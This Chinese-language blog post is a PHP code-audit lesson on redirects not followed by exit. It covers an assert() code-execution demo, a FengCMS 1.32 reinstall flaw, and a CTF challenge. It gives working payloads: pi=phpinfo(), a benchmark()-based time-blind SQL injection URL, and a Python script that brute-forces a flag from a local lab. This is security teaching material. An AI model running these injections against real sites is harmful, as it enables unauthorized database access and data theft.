S1xHcL's Blog.

PHP-Audit Day10 程序未恰当exit导致的问题

Word count: 1.4kReading time: 7 min
2022/04/10 Share

函数学习

extract :(PHP 4, PHP 5, PHP 7)

功能 :从数组中将变量导入到当前的符号表

定义int extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] )

Demo学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

extract($_POST);

function goAway() {
error_log("Hacking attempt.");
header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
goAway();
}

if (!assert("(int)$pi == 3")) {
echo "This is not pi.";
} else {
echo "This might be pi.";
}

在第10行处对$pi进行验证,如果不是数字或者未设置变量则进行goAway()方法,记录错误日志并重定向到 /error/ 页面。但程序运行并未使用die或者exit停止,导致程序继续运行,在第14行中使用assert()执行命令。payload为:

1
2
3
4
POST /php/day10/demo.php HTTP/1.1
Host: 127.0.0.1

pi=phpinfo()

案例分析

案例一选取为FengCMS 1.32,该版本存在网站重装漏洞,漏洞点在 /install/index.php 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
...
if(file_exists(ROOT_PATH.'/upload/INSTALL')){
echo '<script type="text/javascript">alert("系统已安装,如需要重新安装,请手工删除upload目录下的INSTALL文件!");</script>';
echo '<meta http-equiv="refresh" content="0;url=/">';
}

switch($_GET['step']){
case '1': //安装许可协议
include ABS_PATH."/step/step1.php";
...
case '2': //检查安装环境是否满足要求
...
case '3': //填写数据库信息
include ABS_PATH."/step/step3.php";
break;
case '4': //正在安装
...
case '5': //安装完成
include ABS_PATH."/step/step5.php";
$in = fopen(ROOT_PATH.'/upload/INSTALL','w');
fclose ($in);
break;
}
?>

在第20~21行中,当第一次安装完成后,系统会在 upload 目录下生成 INSTAL 文件,表示已经正常安装。再次访问安装页面会先检测 /upload/INSTALL 文件是否存在,如果存在则弹框提示已安装,但关掉弹框后仍可继续安装,程序并未停止或者退出。

案例学习

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// index.php
<?php
include 'config.php';
function stophack($string){
if(is_array($string)){
foreach($string as $key => $val) {
$string[$key] = stophack($val);
}
}
else{
$raw = $string;
$replace = array("\\","\"","'","/","*","%5C","%22","%27","%2A","~","insert","update","delete","into","load_file","outfile","sleep",);
$string = str_ireplace($replace, "HongRi", $string);
$string = strip_tags($string);
if($raw!=$string){
error_log("Hacking attempt.");
header('Location: /error/');
}
return trim($string);
}
}
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
if(isset($_GET['id']) && $_GET['id']){
$id = stophack($_GET['id']);
$sql = "SELECT * FROM students WHERE id=$id";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo '<center><h1>查询结果为:</h1><pre>'.<<<EOF
+----+---------+--------------------+-------+
| id | name | email | score |
+----+---------+--------------------+-------+
| {$row['id']} | {$row['name']} | {$row['email']} | {$row['score']} |
+----+---------+--------------------+-------+</center>
EOF;
}
}
else die("你所查询的对象id值不能为空!");
?>
1
2
3
4
5
6
7
// config.php
<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day10";
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 搭建CTF环境使用的sql语句
create database day10;
use day10;
create table students (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
score int(8) unsigned not null );

INSERT INTO students VALUES(1,'Lucia','Lucia@hongri.com',100);
INSERT INTO students VALUES(2,'Danny','Danny@hongri.com',59);
INSERT INTO students VALUES(3,'Alina','Alina@hongri.com',66);
INSERT INTO students VALUES(4,'Jameson','Jameson@hongri.com',13);
INSERT INTO students VALUES(5,'Allie','Allie@hongri.com',88);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{tim3_blind_Sql}');

分析

index.php中第27行接收$id参数后,使用stophack()方法进行过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function stophack($string){
if(is_array($string)){
foreach($string as $key => $val) {
$string[$key] = stophack($val);
}
}
else{
$raw = $string;
$replace = array("\\","\"","'","/","*","%5C","%22","%27","%2A","~","insert","update","delete","into","load_file","outfile","sleep",);
$string = str_ireplace($replace, "HongRi", $string);
$string = strip_tags($string);
if($raw!=$string){
error_log("Hacking attempt.");
header('Location: /error/');
}
return trim($string);
}
}

第9行中的$replace为过滤字符串,第10行中如果被str_ireplace()匹配到则替换为HongRi并赋值给$string。到第12行中比较过滤后的$string参数和原始$id中的参数是否一致,否则将记录攻击日志,并跳转到 error 页面中。

1
2
3
4
if(isset($_GET['id']) && $_GET['id']){
$id = stophack($_GET['id']);
$sql = "SELECT * FROM students WHERE id=$id";
$result = $conn->query($sql);

但此处跳转后程序并未停止,过滤后的$string后返回到sql语句中。输入?id=1'调试查看:

$sql语句中的$id值为1HongRi,将会继续带入数据库进行查询。这种情况下考虑使用盲注,但在$replace中已经过滤掉了sleep关键字,可以改用benchmark()函数。

benchmark()函数

用法:

1
BENCHMARK(count,expr)

benchmark函数会重复计算expr表达式count次,所以我们可以尽可能多的增加计算的次数来增加时间延迟

组合盲注的payload为:

1
http://127.0.0.1/php/day10/index.php?id=-1 or if((ascii(substr((select flag from flag),1,1))=1),benchmark(10000000,sha(1)),0)

写python脚本跑flag值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import string
import requests

alphabet = ",}{_=" + string.ascii_letters + string.digits
flag = ""

for i in range(1, 30):
for char in alphabet:
url = "http://127.0.0.1/php/day10/index.php?id=-1 "
sql = "or if((ascii(substr((select flag from flag),{0},1))={1}),benchmark(10000000,sha(1)),0)".format(i,ord(char))
try:
req = requests.get(url+sql, timeout=6, proxies=prixies)
except Exception as e:
flag += char
print(flag)
break

CATALOG
  1. 1. 函数学习
  2. 2. Demo学习
  3. 3. 案例分析
  4. 4. 案例学习
    1. 4.1. 源码
    2. 4.2. 分析